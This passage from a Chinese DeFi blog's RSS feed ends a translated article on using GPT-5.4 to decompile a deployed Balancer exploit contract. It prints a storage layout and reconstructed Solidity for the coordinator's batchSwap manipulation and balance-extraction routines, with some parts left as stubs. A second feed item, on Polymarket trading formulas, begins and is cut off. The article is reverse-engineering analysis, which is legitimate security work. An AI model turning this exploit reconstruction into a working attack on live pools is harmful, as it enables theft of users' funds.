&#x6700;&#x5BB9;&#x6613;&#x627E;&#x5230;&#xFF0C;&#x56E0;&#x4E3A;&#x63D0;&#x53D6;&#x4EA4;&#x6613;&#x76F4;&#x63A5;&#x8C03;&#x7528;&#x4E86;&#x5B83;&#x3002;&#x8FD9;&#x8BA9;&#x6211;&#x5F97;&#x4EE5;&#x5C06;&#x5176;&#x5927;&#x81F4;&#x91CD;&#x6784;&#x4E3A;&#xFF1A;</p><pre><code>function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner</code></pre><p>&#x53E6;&#x5916;&#x4E24;&#x4E2A;&#x51FD;&#x6570;&#x770B;&#x8D77;&#x6765;&#x50CF;&#x662F;&#x4E24;&#x79CD;&#x4E0D;&#x540C;&#x7684;&#x573A;&#x666F;&#x8FD0;&#x884C;&#x5668;&#xFF0C;&#x6BCF;&#x4E2A;&#x90FD;&#x5927;&#x81F4;&#x63A5;&#x53D7; <code>(address,uint256,uint256,address,uint256,uint256)</code> &#x53C2;&#x6570;&#x3002;GPT &#x7684;&#x6700;&#x4F73;&#x89E3;&#x8BFB;&#x662F;&#xFF0C;&#x5176;&#x4E2D;&#x4E00;&#x4E2A;&#x8FD0;&#x884C;&#x573A;&#x666F; A&#xFF0C;&#x5E76;&#x53EF;&#x9009;&#x62E9;&#x6027;&#x5730;&#x8FD0;&#x884C;&#x573A;&#x666F; B&#xFF1B;&#x800C;&#x53E6;&#x4E00;&#x4E2A;&#x5219;&#x7F13;&#x5B58;&#x573A;&#x666F; B&#xFF0C;&#x5E76;&#x5148;&#x8FD0;&#x884C;&#x573A;&#x666F; A&#x3002;</p><p>&#x8FD9;&#x4E0D;&#x8DB3;&#x4EE5;&#x6062;&#x590D;&#x539F;&#x59CB;&#x540D;&#x79F0;&#xFF0C;&#x4F46;&#x8DB3;&#x4EE5;&#x6062;&#x590D;&#x5176;&#x884C;&#x4E3A;&#x89D2;&#x8272;&#xFF0C;&#x800C;&#x5728;&#x9006;&#x5411;&#x5DE5;&#x7A0B;&#x4E2D;&#xFF0C;&#x8FD9;&#x901A;&#x5E38;&#x662F;&#x66F4;&#x91CD;&#x8981;&#x7684;&#x91CC;&#x7A0B;&#x7891;&#x3002;</p><h2 id="10%E3%80%81%E5%86%85%E9%83%A8%E4%BE%8B%E7%A8%8B%E6%89%8D%E6%98%AF%E7%9C%9F%E6%AD%A3%E7%9A%84%E6%A0%B8%E5%BF%83">10&#x3001;&#x5185;&#x90E8;&#x4F8B;&#x7A0B;&#x624D;&#x662F;&#x771F;&#x6B63;&#x7684;&#x6838;&#x5FC3;</h2><p>&#x7ECF;&#x8FC7;&#x8DB3;&#x591F;&#x7684;&#x8FFD;&#x8E2A;&#xFF0C;&#x8FD9;&#x4E2A;&#x5E9E;&#x5927;&#x7684;&#x5185;&#x90E8;&#x4F8B;&#x7A0B;&#x4E0D;&#x518D;&#x795E;&#x79D8;&#xFF0C;&#x800C;&#x662F;&#x5F00;&#x59CB;&#x5448;&#x73B0;&#x51FA;&#x8FC7;&#x7A0B;&#x5F0F;&#x7684;&#x7279;&#x5F81;&#x3002;&#x5B83;&#x9996;&#x5148;&#x8BBE;&#x7F6E;&#x5F53;&#x524D;&#x6C60;&#x4E0A;&#x4E0B;&#x6587;&#xFF0C;&#x5E76;&#x8BFB;&#x53D6;&#x5927;&#x91CF; Balancer &#x5143;&#x6570;&#x636E;&#xFF1A;&#x6C60; ID&#x3001;BPT &#x7D22;&#x5F15;&#x3001;&#x7F29;&#x653E;&#x56E0;&#x5B50;&#x3001;&#x8D39;&#x7387;&#x63D0;&#x4F9B;&#x5546;&#x3001;&#x5B9E;&#x9645;&#x4F9B;&#x5E94;&#x91CF;&#x3001;&#x653E;&#x5927;&#x500D;&#x6570;&#x3001;&#x4EA4;&#x6362;&#x8D39;&#x548C;&#x8D39;&#x7387;&#x3002;&#x7136;&#x540E;&#xFF0C;&#x5B83;&#x5C06;&#x6C60;&#x4EE3;&#x5E01;&#x6279;&#x51C6;&#x5230;&#x91D1;&#x5E93;&#xFF0C;&#x6784;&#x5EFA;&#x4E86;&#x4F3C;&#x4E4E;&#x6392;&#x9664;&#x6216;&#x7279;&#x6B8A;&#x5904;&#x7406; BPT &#x4ED3;&#x4F4D;&#x7684;&#x5185;&#x90E8;&#x6570;&#x7EC4;&#xFF0C;&#x5E76;&#x53CD;&#x590D;&#x8C03;&#x7528;&#x8F85;&#x52A9;&#x51FD;&#x6570;&#x5E76;&#x4F20;&#x5165;&#x5019;&#x9009;&#x503C;&#x3002;</p><p>&#x53EA;&#x6709;&#x5728;&#x5B8C;&#x6210;&#x6240;&#x6709;&#x8FD9;&#x4E9B;&#x6B65;&#x9AA4;&#x4E4B;&#x540E;&#xFF0C;&#x5B83;&#x624D;&#x6784;&#x5EFA;&#x4E86; <code>BatchSwapStep[]</code>&#x3001;&#x8D44;&#x4EA7;&#x548C;&#x9650;&#x989D;&#xFF0C;&#x7136;&#x540E;&#x6267;&#x884C;&#x7CBE;&#x5FC3;&#x6784;&#x9020;&#x7684; <code>batchSwap(...)</code>&#x3002;&#x8C03;&#x8BD5;&#x5B57;&#x7B26;&#x4E32;&#x8868;&#x660E;&#xFF0C;&#x5B83;&#x968F;&#x540E;&#x6D4B;&#x91CF;&#x6216;&#x53D1;&#x51FA;&#x4E86;&#x56F4;&#x7ED5;&#x6C60;&#x8D39;&#x7387;&#x3001;&#x9009;&#x5B9A;&#x7684;&#x201C;&#x6280;&#x5DE7;&#x201D;&#x91D1;&#x989D;&#x548C;&#x7D22;&#x5F15;&#x3001;&#x5F53;&#x524D;&#x653E;&#x5927;&#x500D;&#x6570;&#x3001;&#x521D;&#x59CB;&#x4F59;&#x989D;&#x3001;&#x6700;&#x7EC8;&#x4F59;&#x989D;&#x3001;&#x8D44;&#x4EA7;&#x589E;&#x91CF;&#x4EE5;&#x53CA;&#x67D0;&#x79CD;&#x6700;&#x7EC8;&#x4E0D;&#x53D8;&#x6027;&#x6982;&#x5FF5;&#x7684;&#x503C;&#x3002;&#x6700;&#x540E;&#xFF0C;&#x5728;&#x540E;&#x7EED;&#x9636;&#x6BB5;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5185;&#x90E8;&#x4F59;&#x989D;&#x63D0;&#x53D6;&#x4EF7;&#x503C;&#x3002;</p><h2 id="11%E3%80%81%E6%88%91%E5%AF%B9%E5%90%88%E7%BA%A6%E7%9A%84%E7%9C%9F%E6%AD%A3%E7%90%86%E8%A7%A3">11&#x3001;&#x6211;&#x5BF9;&#x5408;&#x7EA6;&#x7684;&#x771F;&#x6B63;&#x7406;&#x89E3;</h2><p>&#x6211;&#x6700;&#x7EC8;&#x7684;&#x89E3;&#x91CA;&#xFF0C;&#x4EC5;&#x57FA;&#x4E8E; GPT-5.4 &#x4ECE;&#x5B57;&#x8282;&#x7801;&#x548C;&#x5B83;&#x63D0;&#x53D6;&#x7684;&#x94FE;&#x4E0A;&#x8BC1;&#x636E;&#x4E2D;&#x91CD;&#x5EFA;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x662F;&#x8FD9;&#x4E2A;&#x66F4;&#x5927;&#x7684;&#x5408;&#x7EA6;&#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x4E00;&#x4E2A;&#x4E13;&#x95E8;&#x6784;&#x5EFA;&#x7684; Balancer &#x534F;&#x8C03;&#x5668;&#x3002;&#x66F4;&#x5177;&#x4F53;&#x5730;&#x8BF4;&#xFF0C;&#x5B83;&#x770B;&#x8D77;&#x6765;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x5DF2;&#x90E8;&#x7F72;&#x7684;&#x6A21;&#x7CCA;&#x6D4B;&#x8BD5;&#x6216;&#x4E0D;&#x53D8;&#x6027;&#x6D4B;&#x8BD5;&#x88C5;&#x7F6E;&#x7684;&#x540E;&#x4EE3;&#xFF0C;&#x5E76;&#x4E14;&#x5DF2;&#x7ECF;&#x53D1;&#x5C55;&#x6210;&#x4E3A;&#x67D0;&#x79CD;&#x53EF;&#x8FD0;&#x884C;&#x7684;&#x7A0B;&#x5E8F;&#x3002;</p><p>Foundry &#x98CE;&#x683C;&#x7684;&#x63A5;&#x53E3;&#x662F;&#x6211;&#x5F00;&#x59CB;&#x8FD9;&#x6837;&#x601D;&#x8003;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x539F;&#x56E0;&#x3002;&#x8F85;&#x52A9;&#x5408;&#x7EA6;&#x662F;&#x7B2C;&#x4E8C;&#x4E2A;&#x539F;&#x56E0;&#x3002;&#x63D0;&#x53D6;&#x8DEF;&#x5F84;&#x662F;&#x7B2C;&#x4E09;&#x4E2A;&#x539F;&#x56E0;&#x3002;&#x7EFC;&#x5408;&#x8D77;&#x6765;&#xFF0C;&#x6574;&#x4E2A;&#x7CFB;&#x7EDF;&#x770B;&#x8D77;&#x6765;&#x4E0D;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x5E72;&#x51C0;&#x5229;&#x843D;&#x3001;&#x4EC5;&#x9488;&#x5BF9;&#x6700;&#x7EC8;&#x4EA4;&#x6613;&#x7F16;&#x5199;&#x7684;&#x6700;&#x5C0F;&#x5316;&#x6F0F;&#x6D1E;&#x5229;&#x7528;&#x5408;&#x7EA6;&#x3002;&#x5B83;&#x66F4;&#x50CF;&#x662F;&#x7814;&#x7A76;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#xFF0C;&#x5728;&#x5DF2;&#x90E8;&#x7F72;&#x7684;&#x5DE5;&#x4EF6;&#x4E2D;&#x4ECD;&#x7136;&#x53EF;&#x89C1;&#x3002;</p><p>&#x8FD9;&#x5E76;&#x4E0D;&#x4E00;&#x5B9A;&#x610F;&#x5473;&#x7740;&#x653B;&#x51FB;&#x8005;&#x90E8;&#x7F72;&#x4E86;&#x4ED6;&#x4EEC;&#x5728;&#x672C;&#x5730;&#x4F7F;&#x7528;&#x7684;&#x5B8C;&#x5168;&#x76F8;&#x540C;&#x7684;&#x6A21;&#x7CCA;&#x6D4B;&#x8BD5;&#x6846;&#x67B6;&#x3002;&#x6211;&#x8BA4;&#x4E3A;&#x66F4;&#x8C28;&#x614E;&#x7684;&#x8BF4;&#x6CD5;&#x662F;&#xFF1A;&#x4ED6;&#x4EEC;&#x5F88;&#x53EF;&#x80FD;&#x901A;&#x8FC7;&#x6A21;&#x7CCA;&#x6D4B;&#x8BD5;&#x3001;&#x4E0D;&#x53D8;&#x6027;&#x6D4B;&#x8BD5;&#x6216;&#x5BF9;&#x6297;&#x6027;&#x5B9E;&#x9A8C;&#x53D1;&#x73B0;&#x4E86;&#x653B;&#x51FB;&#x6216;&#x5BF9;&#x5176;&#x8FDB;&#x884C;&#x4E86;&#x6539;&#x8FDB;&#xFF0C;&#x800C;&#x5DF2;&#x90E8;&#x7F72;&#x7684;&#x5408;&#x7EA6;&#x4ECD;&#x7136;&#x4FDD;&#x7559;&#x4E86;&#x8BB8;&#x591A;&#x811A;&#x624B;&#x67B6;&#x3002;&#x6362;&#x53E5;&#x8BDD;&#x8BF4;&#xFF0C;&#x5B83;&#x770B;&#x8D77;&#x6765;&#x4E0D;&#x50CF;&#x662F;&#x4E00;&#x4E2A;&#x7CBE;&#x5FC3;&#x6253;&#x78E8;&#x7684;&#x6700;&#x7EC8;&#x6709;&#x6548;&#x8F7D;&#x8377;&#xFF0C;&#x800C;&#x66F4;&#x50CF;&#x662F;&#x6700;&#x521D;&#x5E2E;&#x52A9;&#x4ED6;&#x4EEC;&#x53D1;&#x73B0;&#x6F0F;&#x6D1E;&#x7684;&#x5DE5;&#x5177;&#x7684;&#x6B66;&#x5668;&#x5316;&#x540E;&#x4EE3;&#x3002;</p><h2 id="12%E3%80%81%E5%AD%98%E5%82%A8%E5%B8%83%E5%B1%80">12&#x3001;&#x5B58;&#x50A8;&#x5E03;&#x5C40;</h2><p>&#x8FD9;&#x662F;&#x6700;&#x5B9E;&#x7528;&#x7684;&#x5E03;&#x5C40;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x7CBE;&#x786E;&#x7684;&#x7F16;&#x8BD1;&#x5668;&#x6620;&#x5C04;&#x3002;</p><pre><code>// Foundry invariant harness state
address[] excludeSenders;          // slot 0x15
address[] targetSenders;           // slot 0x16
address[] targetContracts;         // slot 0x17
address[] excludeContracts;        // slot 0x18
string[]  targetArtifacts;         // slot 0x19
string[]  excludeArtifacts;        // slot 0x1a
// slot 0x1b..0x1e: selector/interface config arrays

// packed owner + test flag
address owner;                     // packed in slot 0x1f
bool isTest;                       // packed in slot 0x1f

// exploit-specific state
address helper;                    // slot 0x21
address vault;                     // slot 0x22
address currentPool;               // slot 0x23
bytes32 currentPoolId;             // slot 0x24
uint256 bptIndex;                  // slot 0x25
uint256 trickIndex;                // slot 0x26, likely
uint256 derivedAmount;             // slot 0x27
uint256 derivedAmount2;            // slot 0x28
uint256 mode;                      // slot 0x29
uint256 currentAmp;                // slot 0x2a
uint256 trickRate;                 // slot 0x2b, likely
uint8[] nonBptFlags;               // slot 0x2c
// slot 0x2e..0x30: batchSwap / fund management config
uint256 scenarioParam1;            // slot 0x31
uint256 scenarioParam2;            // slot 0x32
uint256 tokenCountExcludingBpt;    // slot 0x33
uint256 base;                      // slot 0x34 = 2
uint256 width;                     // slot 0x35 = 4
uint256 groupSize;                 // slot 0x36 = 3

bool hasDeferredScenario;          // slot 0x39
address deferredPool;              // slot 0x3a
uint256 deferredParam1;            // slot 0x3b
uint256 deferredParam2;            // slot 0x3c</code></pre><h2 id="13%E3%80%81%E8%BE%85%E5%8A%A9%E5%90%88%E7%BA%A6%E9%87%8D%E6%9E%84">13&#x3001;&#x8F85;&#x52A9;&#x5408;&#x7EA6;&#x91CD;&#x6784;</h2><pre><code>pragma solidity 0.7.6;

contract BalancerMathProbe {
    address public auth0;
    address public auth1;

    modifier onlyAuthorized() {
        require(msg.sender == auth0 || msg.sender == auth1, &quot;X&quot;);
        _;
    }

    // Parameter names are reconstructed from behavior and public writeups.
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external view onlyAuthorized returns (uint256) {
        uint256[] memory scaled = new uint256[](scalingFactors.length);
        for (uint256 i = 0; i &lt; scalingFactors.length; i++) {
            scaled[i] = balances[i] * scalingFactors[i] / 1e18;
        }

        uint256 invariantish = _computeInvariantish(ampLike, scaled);
        uint256 manipulated = _computeManipulatedOutput(
            scaled,
            indexIn,
            indexOut,
            amountGiven,
            invariantish,
            swapFeeLike
        );

        return manipulated;
    }

    // Internal helpers use checked math and may revert with BAL#004.
}</code></pre><h2 id="14%E3%80%81%E4%B8%BB%E5%90%88%E7%BA%A6%E9%87%8D%E6%9E%84">14&#x3001;&#x4E3B;&#x5408;&#x7EA6;&#x91CD;&#x6784;</h2><pre><code>pragma solidity 0.7.6;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IVault {
    struct BatchSwapStep {
        bytes32 poolId;
        uint256 assetInIndex;
        uint256 assetOutIndex;
        uint256 amount;
        bytes userData;
    }

    struct FundManagement {
        address sender;
        bool fromInternalBalance;
        address payable recipient;
        bool toInternalBalance;
    }

    struct UserBalanceOp {
        uint8 kind;
        address asset;
        uint256 amount;
        address sender;
        address payable recipient;
    }

    function getPoolTokens(bytes32 poolId)
        external
        view
        returns (address[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);

    function getInternalBalance(address user, address[] memory tokens)
        external
        view
        returns (uint256[] memory balances);

    function manageUserBalance(UserBalanceOp[] memory ops) external;

    function batchSwap(
        uint8 kind,
        BatchSwapStep[] memory swaps,
        address[] memory assets,
        FundManagement memory funds,
        int256[] memory limits,
        uint256 deadline
    ) external returns (int256[] memory assetDeltas);
}

interface IComposableStablePool {
    function getPoolId() external view returns (bytes32);
    function getBptIndex() external view returns (uint256);
    function getScalingFactors() external view returns (uint256[] memory);
    function getRateProviders() external view returns (address[] memory);
    function getActualSupply() external view returns (uint256);
    function getAmplificationParameter() external view returns (uint256, bool, uint256);
    function getSwapFeePercentage() external view returns (uint256);
    function getRate() external view returns (uint256);
}

interface IProbeHelper {
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external returns (uint256);
}

contract BalancerCoordinatorLike {
    address public owner;
    bool public IS_TEST;

    address public helper;
    address public vault;
    address public currentPool;
    bytes32 public currentPoolId;
    uint256 public bptIndex;

    bool internal hasDeferredScenario;
    address internal deferredPool;
    uint256 internal deferredP1;
    uint256 internal deferredP2;

    modifier onlyOwner() {
        require(msg.sender == owner, &quot;not owner&quot;);
        _;
    }

    receive() external payable {}

    // Exact selector known.
    function callTx(address to, uint256 value, bytes calldata data) external onlyOwner {
        (bool ok,) = to.call{value: value}(data);
        require(ok, &quot;raw call failed&quot;);
    }

    // Foundry test helper.
    function failed() external returns (bool) {
        // Falls back to hevm.load(...) in test mode.
        return false;
    }

    // Custom selector 0x60e087db
    function fn_0x60e087db(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        hasDeferredScenario = true;
        deferredPool = pool1;
        deferredP1 = p11;
        deferredP2 = p21;

        _runScenario(pool0, p10, p20);
    }

    // Custom selector 0x77e0735d
    function fn_0x77e0735d(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        _runScenario(pool0, p10, p20);
        if (pool1 != address(0)) {
            _runScenario(pool1, p11, p21);
        }
    }

    // Exact calldata shape confirmed by extraction tx.
    function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner {
        for (uint256 i = 0; i &lt; pools.length; i++) {
            currentPool = pools[i];
            currentPoolId = IComposableStablePool(pools[i]).getPoolId();

            (address[] memory tokens,,) = IVault(vault).getPoolTokens(currentPoolId);
            uint256[] memory internalBalances = IVault(vault).getInternalBalance(address(this), tokens);

            IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);
            for (uint256 j = 0; j &lt; tokens.length; j++) {
                ops[j] = IVault.UserBalanceOp({
                    kind: 1,
                    asset: tokens[j],
                    amount: internalBalances[j],
                    sender: address(this),
                    recipient: payable(address(this))
                });
            }

            IVault(vault).manageUserBalance(ops);

            // The real bytecode emits many debug logs here and checks post-withdraw balances.
            for (uint256 j = 0; j &lt; tokens.length; j++) {
                IERC20(tokens[j]).balanceOf(address(this));
            }
        }
    }

    function _runScenario(address pool, uint256 p1, uint256 p2) internal {
        currentPool = pool;
        // Likely Foundry-style debug instrumentation preserved in deployment.
        // In real source this may have been `console.log(...)` from forge-std.
        console.log(&quot;Pool&quot;, pool);
        console.log(&quot;Start.&quot;);
        currentPoolId = IComposableStablePool(pool).getPoolId();
        bptIndex = IComposableStablePool(pool).getBptIndex();

        (address[] memory tokens, uint256[] memory startBalances,) = IVault(vault).getPoolTokens(currentPoolId);
        for (uint256 i = 0; i &lt; tokens.length; i++) {
            console.log(&quot;mytoken i&quot;, tokens[i]);
            IERC20(tokens[i]).approve(vault, type(uint256).max);
        }

        uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors();
        address[] memory rateProviders = IComposableStablePool(pool).getRateProviders();
        uint256 actualSupply = IComposableStablePool(pool).getActualSupply();
        (uint256 amp,,) = IComposableStablePool(pool).getAmplificationParameter();
        uint256 swapFee = IComposableStablePool(pool).getSwapFeePercentage();
        uint256 poolRate = IComposableStablePool(pool).getRate();
        console.log(&quot;currentAmp&quot;, amp);

        // poolRate0 / poolRate1 most likely correspond to the primary and
        // secondary scenario when two pools are being driven in one run.
        if (hasDeferredScenario) {
            console.log(&quot;poolRate0&quot;, poolRate);
        } else {
            console.log(&quot;poolRate1&quot;, poolRate);
        }

        // Real bytecode derives several indices and builds a compact flag array excluding the BPT.
        // It also chooses one &quot;trick&quot; index and one &quot;nonTrick&quot; index.
        uint256 trickIndex = _guessIndexIn();
        uint256 nonTrickIndex = _guessIndexOut();
        console.log(&quot;trickIndex&quot;, trickIndex);
        console.log(&quot;nonTrickIndex&quot;, nonTrickIndex);

        uint256[] memory candidateAmts = _buildCandidateAmounts(tokens.length, p1, p2);
        if (candidateAmts.length &gt; 0) {
            console.log(&quot;trickAmt&quot;, candidateAmts[0]);
        }

        // Probe helper repeatedly with different candidates.
        uint256 lastProbe;
        for (uint256 i = 0; i &lt; candidateAmts.length; i++) {
            lastProbe = IProbeHelper(helper).fn_0x524c9e20(
                scalingFactors,
                _readPoolBalances(currentPoolId),
                trickIndex,
                nonTrickIndex,
                candidateAmts[i],
                amp,
                swapFee
            );
        }
        console.log(&quot;trickRate&quot;, lastProbe);

        // Construct batch swaps.
        IVault.BatchSwapStep[] memory steps = _buildSwapSteps(candidateAmts);
        address[] memory assets = tokens;
        int256[] memory limits = _buildLimits(assets.length);

        IVault.FundManagement memory funds = IVault.FundManagement({
            sender: address(this),
            fromInternalBalance: false,
            recipient: payable(address(this)),
            toInternalBalance: true
        });

        console.log(&quot;Doing Batch&quot;);
        IVault(vault).batchSwap(
            1,
            steps,
            assets,
            funds,
            limits,
            block.timestamp
        );

        // These labels likely sat in loops over balances / deltas after the swap.
        uint256[] memory endBalances = _readPoolBalances(currentPoolId);
        for (uint256 i = 0; i &lt; endBalances.length; i++) {
            console.log(&quot;startBalancesi&quot;, startBalances[i]);
            console.log(&quot;end__balances[i]&quot;, endBalances[i]);
            if (endBalances[i] &gt;= startBalances[i]) {
                console.log(&quot;Asset Deltasi&quot;, endBalances[i] - startBalances[i]);
            } else {
                console.log(&quot;Asset Deltasi&quot;, startBalances[i] - endBalances[i]);
            }
            console.log(&quot;mybal i&quot;, IERC20(tokens[i]).balanceOf(address(this)));
        }

        // If fn_0x60e087db cached a second scenario, append or run it after the current one.
        if (hasDeferredScenario) {
            hasDeferredScenario = false;
            address nextPool = deferredPool;
            uint256 nextP1 = deferredP1;
            uint256 nextP2 = deferredP2;
            deferredPool = address(0);
            deferredP1 = 0;
            deferredP2 = 0;
            _runScenario(nextPool, nextP1, nextP2);
        }

        // &quot;Ending Invariant&quot; likely logged after all state comparisons.
        console.log(&quot;Ending Invariant&quot;, _computeInvariantLike(endBalances, amp));
        actualSupply;
        rateProviders;
        poolRate;
    }

    function _readPoolBalances(bytes32 poolId) internal view returns (uint256[] memory balances) {
        (, balances,) = IVault(vault).getPoolTokens(poolId);
    }
...</code></pre><pre><code>    function _buildCandidateAmounts(uint256 n, uint256 p1, uint256 p2)
        internal
        pure
        returns (uint256[] memory out)
    {
        out = new uint256[](n);
        for (uint256 i = 0; i &lt; n; i++) {
            out[i] = p1 + p2 + i;
        }
    }

    function _buildSwapSteps(uint256[] memory candidateAmts)
        internal
        view
        returns (IVault.BatchSwapStep[] memory out)
    {
        out = new IVault.BatchSwapStep[](candidateAmts.length);
        for (uint256 i = 0; i &lt; candidateAmts.length; i++) {
            out[i] = IVault.BatchSwapStep({
                poolId: currentPoolId,
                assetInIndex: 0,
                assetOutIndex: 1,
                amount: candidateAmts[i],
                userData: &quot;&quot;
            });
        }
    }

    function _buildLimits(uint256 n) internal pure returns (int256[] memory out) {
        out = new int256[](n);
    }

    function _guessIndexIn() internal pure returns (uint256) {
        return 0;
    }

    function _guessIndexOut() internal pure returns (uint256) {
        return 1;
    }

    function _computeInvariantLike(uint256[] memory balances, uint256 amp)
        internal
        pure
        returns (uint256)
    {
        // Placeholder for the stable-invariant-like value the bytecode seemed to track.
        balances;
        return amp;
    }
}</code></pre><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://x.com/jaczkal/status/2033574574042861769?ref=defiplot.com">Decompiling bytecode with GPT-5.4</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[Polymarket量化交易指南]]></title><description><![CDATA[在本指南中，你将看到对冲基金用来系统性地从预测市场中获利的六大核心公式，以及散户交易者如何才能切实有效地复制其中至少一部分策略]]></description><link>https://defiplot.com/blog/the-quant-playbook-for-polymarket/</link><guid isPermaLink="false">69b78920ec23a43b2add9358</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Mon, 16 Mar 2026 04:45:31 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/03/the-quant-playbook-for-polymarket.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/03/the-quant-playbook-for-polymarket.png" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;"><p>2026&#x5E74;&#x7684;Polymarket&#x4E0D;&#x518D;&#x53EA;&#x662F;&#x6295;&#x673A;&#x8005;&#x7684;&#x4E50;&#x56ED;</p><p>&#x5B83;&#x6B63;&#x6084;&#x7136;&#x6210;&#x4E3A;&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x7684;&#x6218;&#x573A;&#xFF0C;&#x4E13;&#x4E1A;&#x57FA;&#x91D1;&#x5C06;&#x50CF;&#x5728;&#x671F;&#x6743;&#x548C;&#x671F;&#x8D27;&#x5E02;&#x573A;&#x4E00;&#x6837;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x652B;&#x53D6;&#x4F18;&#x52BF;</p><p>&#x5982;&#x679C;&#x4F60;&#x6CA1;&#x6709;&#x4EA4;&#x6613;&#x6846;&#x67B6;&#x5C31;&#x8FDB;&#x884C;&#x4EA4;&#x6613;&#xFF0C;&#x90A3;&#x4E48;&#x4F60;&#x5C31;&#x662F;&#x90A3;92%&#x7684;&#x5931;&#x8D25;&#x8005;&#x4E4B;&#x4E00;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="900" height="432" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image.png 600w, https://defiplot.com/blog/content/images/2026/03/image.png 900w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;&#x672C;&#x6307;&#x5357;&#x4E2D;&#xFF0C;&#x4F60;&#x5C06;&#x770B;&#x5230;&#x5BF9;&#x51B2;&#x57FA;&#x91D1;&#x7528;&#x6765;&#x7CFB;&#x7EDF;&#x6027;&#x5730;&#x4ECE;&#x9884;&#x6D4B;&#x5E02;&#x573A;&#x4E2D;&#x83B7;&#x5229;&#x7684;&#x516D;&#x5927;&#x6838;&#x5FC3;&#x516C;&#x5F0F;&#xFF0C;&#x4EE5;&#x53CA;&#x6563;&#x6237;&#x4EA4;&#x6613;&#x8005;&#x5982;&#x4F55;&#x624D;&#x80FD;&#x5207;&#x5B9E;&#x6709;&#x6548;&#x5730;&#x590D;&#x5236;&#x5176;&#x4E2D;&#x81F3;&#x5C11;&#x4E00;&#x90E8;&#x5206;&#x7B56;&#x7565;</p><h2 id="1%E3%80%81lmsr%E5%AE%9A%E4%BB%B7%E6%A8%A1%E5%9E%8B%EF%BC%88polymarket%E7%9A%84%E6%A0%B8%E5%BF%83%E5%BC%95%E6%93%8E%EF%BC%89">1&#x3001;LMSR&#x5B9A;&#x4EF7;&#x6A21;&#x578B;&#xFF08;Polymarket&#x7684;&#x6838;&#x5FC3;&#x5F15;&#x64CE;&#xFF09;</h2><p>LMSR&#xFF08;&#x5BF9;&#x6570;&#x5E02;&#x573A;&#x8BC4;&#x5206;&#x89C4;&#x5219;&#xFF09;&#x662F;Polymarket&#x5B9A;&#x4EF7;&#x7684;&#x9A71;&#x52A8;&#x529B;&#xFF0C;&#x5B83;&#x5C06;&#x6D41;&#x52A8;&#x6027;&#x8F6C;&#x5316;&#x4E3A;&#x6709;&#x754C;&#x6982;&#x7387;&#xFF08;0-1&#xFF09;&#x3002;&#x91CF;&#x5316;&#x5206;&#x6790;&#x5E08;&#x5229;&#x7528;&#x8BE5;&#x6A21;&#x578B;&#x9884;&#x6D4B;&#x4EA4;&#x6613;&#x5F71;&#x54CD;&#x5E76;&#x53D1;&#x73B0;&#x4F4E;&#x6D41;&#x52A8;&#x6027;&#x8D44;&#x91D1;&#x6C60;&#x4E2D;&#x7684;&#x5B9A;&#x4EF7;&#x504F;&#x5DEE;&#xFF08;b &#x53C2;&#x6570;&#x8D8A;&#x5C0F;&#xFF0C;&#x4F18;&#x52BF;&#x8D8A;&#x5927;&#xFF09;&#x3002;</p><p>&#x516C;&#x5F0F;&#xFF1A;Price_i = e^{q_i / b} / &#x3A3; e^{q_j / b}</p><p>&#xFF08;&#x5176;&#x4E2D; q &#x4E3A;&#x7ED3;&#x679C;&#x7684;&#x6570;&#x91CF;&#x5411;&#x91CF;&#xFF0C;b &#x4E3A;&#x6D41;&#x52A8;&#x6027;&#x6DF1;&#x5EA6;&#xFF09;</p><p>&#x793A;&#x4F8B;&#xFF1A;</p><p>&#x5728;&#x6BD4;&#x7279;&#x5E01; 5 &#x5206;&#x949F;&#x6DA8;&#x8DCC;&#x5E02;&#x573A;&#xFF08;&#x4EA4;&#x6613;&#x91CF; 3600 &#x4E07;&#x7F8E;&#x5143;&#xFF09;&#x4E2D;&#xFF0C;&#x5047;&#x8BBE; b=100 &#x4E14;&#x521D;&#x59CB; q_yes=0&#xFF0C;&#x4E70;&#x5165; 10 &#x80A1; YES 